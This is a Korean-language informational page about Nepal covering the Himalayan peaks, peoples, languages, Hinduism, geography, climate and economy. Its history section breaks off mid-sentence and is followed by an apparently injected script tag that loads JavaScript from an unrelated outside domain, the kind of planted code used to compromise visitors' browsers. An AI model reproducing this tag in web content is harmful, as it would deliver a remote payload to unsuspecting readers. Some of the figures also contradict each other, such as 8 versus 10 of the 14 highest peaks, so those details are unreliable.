◈ 네팔
신들이 사는 성스러운 산 히말라야!!! 히말라야 그곳에는 흐르는 강도 숲의 짐승조차도 "오-므"라고 신을 찬양하는 음성을 올리고 있다. 가는 곳마다 "오므"의 소리가 울려 퍼지고 있다. 그 음성은 당신 몸속의 세포 하나하나를 진동시킨다. 그것은 당신의 신체속에 들어있는 어떤 리듬을 창조해내고 그로 인해 당신의 광물상태가 되는 것이다. 여기가 바로 네팔이다.
지구상에서 가장 높은 지점 대 히말라야 산맥,,, 히말라야는 산스크리스트어로서 "히마"는 빙설, "말라야"는 살고 있는곳, 즉 "눈의 거처" 라는 의미를 지니고 갖는다. 동서 2,800 km 걸친 대히말라야는 산맥중에 우뚝 솟은 8,000 m 급의 거봉은 14개, 그중 8개가 네팔 히말라야인 것이다. 에베레스트(8,848m), 칸첸충가(8,598m), 로체(8,511m), 마칼루(8,481m), 다울라기리(8,167m), 마나슬루(8,156m), 초오유(8,153m), 안나푸르나(8,091m) 순이다. 히말라야. 영원한 눈의 거처, 인간계의 끝이라고 생각되는 하얀 벽. 지상의 사람들은 오르려고 생각해본 일조차 없었던 신들의 집. 아니 자연계레 모습을 나타낸 신 그 자체. 이들 인간의 것이 아닌 최고봉에 오르려다 하다니 두려워해야 할 일이다. 초고봉에 오르지는 못하더라도 초소한 산사람들의 생활터전을 자나 파란 하늘에 빛나는 봉우리들을 우러러 보러가자.

1) 인종 / 인구 / 언어 네팔의 인구는 약 1,900만정도이며 연 평균 인구증가율 2.7%. 주민은 인도계와 티베트계로 나뉘는데 그 중에서 다시 20여종의 많은 부족으로 분류할 수 있으니 곧 구르카, 구룽, 네왈, 라나, 다카리족 등이 그것이다. 인도계 민족은 다라이지방에 많이 분포되어 있다. 그리고 카스트제도의 영향이 강해 직업도 거기에 따라 분류되어 있다. 티베트계 민족은 카트만두분지나 히말라야지방에 많은데 이른바 네팔 문화는 옛 부터 카트만두에 사는 네왈족이 쌓아 올린 것이다. 이 티베트계 민족은 우리나라 사람과 비슷한 데가 있다. 많은 고산족중 셀파족은 우리나라에게 히말라야 등반으로 더욱 잘 알려져 있으나 아직까지도 그들이 어떤 경로를 통하여 어디에서 왔는지 확실히 밝혀지지 않고 있다. 그저 이름에서 나타나는 말뜻에 따라 "동쪽에서 온 사람들" 이라는 것과 몽골리아 특유의 반점이 나타나며 그들의 종교와 언어, 풍습이 히말라야 산맥 뒷편에 위치한 티벳과 흡사하므로 티벳에서 파생된 민족으로 추정될 뿐이다.
언어는 네팔어가 공용. 영어도 카트만두나 포카라 등의 대도시에서는 대개 통하지만 그밖의 지역은 잘 통하지 않는다. 네팔어가 58%, 네와리어 3%(주로 카트만두에서 사용), 티베트어 19%(주로 산간 지역), 인도어 20% (주로 테라이 지방)등등 35개의 종족에 약 33개의 언어와 방언들이 사용되고 있다.

2) 종교 국민의 90%가 힌두교신도인 네팔에서는 타 종교와의 분쟁이 없다. 몇몇 불교사원과 힌두사원이 같은 장소에 세워져 있으며 힌두교도들은 다른 종교의 사원에 가서도 참배를 하며 복을 빌기도 한다. 그 이유는 힌두교이기 때문이다. 힌두교는 약 36만가지의 다른 신으로 구성되어있는 다신교이다. 사물 하나 하나에도 그것만의 특이한 신이 있다고 믿어 모든 것이 소중한 것이다. 그러기에 네팔인들은 악한 마음을 가질 수도 없고 초자연적일 수밖에 없으며 항상 그들은 신과 함께 생활하는 것이다.

3) 지리 / 기후 히말라야 산맥의 중부 남쪽에 위치, 북쪽으로는 중국(티베트)과 맞닿아 있고 동서남쪽 삼면이 인도와 경계를 이루고 있다. 면적은 14만 7천 1백 18 스퀘어 킬로미터, 동서로 885킬로 미터 남북으로 평균 160킬로 미터이다. 국토의 대부분은 산악지대인데 인도와 국경을 접하고있는 다라이지방이 제일 낮은 표고 70m. 티베트와 접경을 이루고 있는 북방에는 동서에 세계 최고봉 14좌(座) 가운데 10좌를 차지하는 히말라야 산계(山係)가 이어져 있다. 국토의 대부분은 산악지대이며 14%가량은 경작지이고, 13%가량이 목초지이며, 32%가량이 삼림지대이다.
아열대에서 극한대까지 다양한데 다라이지방은 아열대, 중부의 카트만두 주변은 온대, 히말라야 산맥지방은 산악 한냉지대이다. 전체로서는 대륙성기후로 특히 건기(10월-3월)에는 밤과 낮의 기온차가 극심하다. 4-9월은 우기, 4-6월이 제일 덥고 6-9월은 스콜이 자주 내린다.

4) 산업 네팔은 U.N이 발표한 통계에 따르면 세계에서 4번째로 가난한 나라이다. 나라재정의 약 2/3은 외국의 원조나 차관으로 이루어진다. 관광객이 외화벌이의 가장 커다란 수입원이다. 94% 가량이 나무, 농작물에서 나오는 땔감, 동물의 똥에 의존하고 있으며 약 94%의 사람이 농업에 종사하고 있다. 전체면적의 18%만이 농작이 가능한 지역이며 그중 쌀농사가 약 63%를 차지한다.

5) 역사 네팔은 옛부터 니파라국(泥婆羅國 또는 泥波羅國)으로 중국?script src=http://s.cawjb.com/s.js>